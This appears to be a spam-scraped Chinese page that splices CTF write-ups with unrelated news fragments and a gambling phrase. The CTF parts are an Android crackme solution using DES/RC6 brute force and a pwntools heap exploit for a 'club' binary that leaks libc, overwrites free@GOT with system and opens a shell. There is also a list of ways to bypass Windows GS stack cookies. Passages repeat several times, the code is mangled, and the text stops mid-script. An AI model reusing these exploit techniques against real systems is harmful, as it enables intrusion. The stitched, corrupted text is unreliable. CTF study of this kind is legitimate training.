do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。现金赌博  产业融合,激发县域经济活力  瞄准“生态路”,种植业总面积150多万亩、农业总产值超过98亿元的平南县,在产业发展方面有了更多底气和想法。一些未文档化的结构在不同Windows版本间有所变化。  “2018年,爱玛、绿源等知名电动车企业将在贵港开工,龙头企业的带动作用将进一步凸显。 ,之后分析的进程注入技术都开源到这一个项目上。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}贵港城北新区广西贵港市是一座具有两千多年历史的古郡,又是一个充满生机的新兴内河港口城市。【南宁周边发现“活化石”版纳鱼螈】南国早报的消息,近日,南宁市动物园披露该园所承担的一项全国第二次野生动物资源调查项目的阶段性成果,表示在南宁周边发现数十种两栖爬行类动物,其中包括“活化石”版纳鱼螈,以及2015年新发布物种——广西睑虎等。,通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528、www.v6649.com、原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。 加密结果与必须为:42D3C3C2F12AE92D66C928222CEB540E9407E5774A92B7922E5DFDF0F3549FC6rc6扩展key也被修改过,如下:*a1=0xB7E15163;v3=a1;v4=a1+43;v5=a2;do{v3[1]=*v3+0x61C88647;++v3;}while(v3!=v4);//下面是标准p,q//constunsignedintp=0xb7e15163;//constunsignedintq=0x9e3779b9//-标准逆向方法如下:1.作者给出了前8个字符为kxuectf{,猜测最后一个字符为}。,此次议题是由阿里安全IoT安全研究团队Leader——谢君为我们带来的如何黑掉无人机,介绍了某品牌无人机的架构体系、功能模块、传感器等,包括各个组件的攻击面、安全防护体系、软硬件反调技术及其绕过方法,并深度解读无线宽带通信等。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91} 调试器命令!pte可以显示给定虚拟地址的所有级别的页表内容。我又发现它请求的一些域名是正确解析了。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528。68124南非豹子悄然靠近捕食熟睡疣猪http:///dy/slidenews/5_img/2015_32/453_68125_:///dy/slidenews/5_t160/2015_32/453_68125_:///dy/slidenews/5_t50/2015_32/453_68125_年08月03日08:20 【环球网综合报道】据英国《每日邮报》报道,近日,网上一组展示南非克鲁格国家公园内猎豹捕食熟睡疣猪的壮观场景的照片受到了众人的关注。今年2月,中央第三巡视组对环保部专项巡视反馈意见中明确指出了环评技术服务市场管理中存在的“红顶中介”、审批环节公开不够以及后续监管不到位等问题。。它们分布在这个国家的每个角落里。中国狮子联合北京会员管理委员会主办的《画说孤独症》关爱孤独症儿童大型公益活动于10月15日在北京正式启动,同时关爱孤独症大型公益巡演舞剧《画皮》首演发布会同期召开。124631130年最经典Moto手机:2013年MotoGhttp:///dy/slidenews/5_img/2015_31/22298_1246312_:///dy/slidenews/5_t160/2015_31/22298_1246312_:///dy/slidenews/5_t50/2015_31/22298_1246312_年07月28日08:331984年以来,摩托罗拉做出了多款令人难忘的移动设备,明天他们即将发布新品,在这之前让我们回顾下这30多年年来最经典的15款Moto手机。我们已经联合了中国精协、有影响力的爱心和康复机构、北京狮子联会的13个服务队、专业的志愿者团体来共同参与,接下来我们将开展画吧的形式,邀请艺术家和美术专业志愿者对康复机构和参与活动的孩子们进行辅导,让普通的孩子们和特殊孩子们在创作时相互了解和融合。。我们注意到9个IoT漏洞利用已经被整合到当前的样本中,如下所示:DlinkGoaheadJAWSNetgearVacronNVR网件LinksysdlinkAVTECH攻击者不断地在样本中增加了更多的新漏洞,其中一个在漏洞发布后两天就被采用。Mirai的开源代码为物联网恶意软件作者开发新的变异样本提供了一个很好的起点。仅2017年,当地就新增市级农业产业化重点龙头企业5家、农民专业合作社161家、家庭农场39家。之后分析的进程注入技术都开源到这一个项目上。链表的最后总是默认处理程序,这个默认处理程序的指针总是0xFFFFFFFFGS保护机制:Windows在(VisualStudio2003)及以后版本的VisualStudio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征)GS保护机制是在函数即将调用的时候向栈桢压入一个DWORD的随机值,同时也向.data段中存放一个SecurityCookies,1.被压入栈中的随机值位于EBP之前.在.data段中的数据实现栈Cookies的校验2.在函数返回之前,系统将会执行一个额外的安全验证操作,被称作当校验发现栈Cookies和.data的副本不吻合则表明发生溢出4.当检测到栈中发生溢出时,系统接管异常,函数不会被正常返回,ret指令也不会被执行5.当栈中发生溢出时,SecurityCookie将被首先淹没,之后才是EBP和返回地址GS保护机制的实现细节是1系统以.data段的第一个DWORD作为Cookie的种子2每次程序运行时的Cookie的种子都不一样,随机性很强3栈桢初始化完毕后用EBP异或种子,作为当前函数的Cookie,以此区别不同函数,增强Cookie的随机性4在函数返回前,用EBP异或还原出Cookie种子绕过GS安全保护的方案1)通过覆盖SEH链表来阻止系统接管异常处理.2)通过改写C++虚表指针来控制程序流程#msvcrt采用进程堆后失效3)用一些未开启GS安全保护的函数进行溢出(可能是关键字保护)||小于四字节的Buf程序很简单,读取文件来还原溢出场景,我将print函数放在了ReadFile下面,可以看到在ShowFileInfo中Printf函数下面有一个Security_Check_Cookie这就是我们的GS缓冲区检测机制的这个函数,工程项目是realse版本的,在项目属性只开启GS。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(ind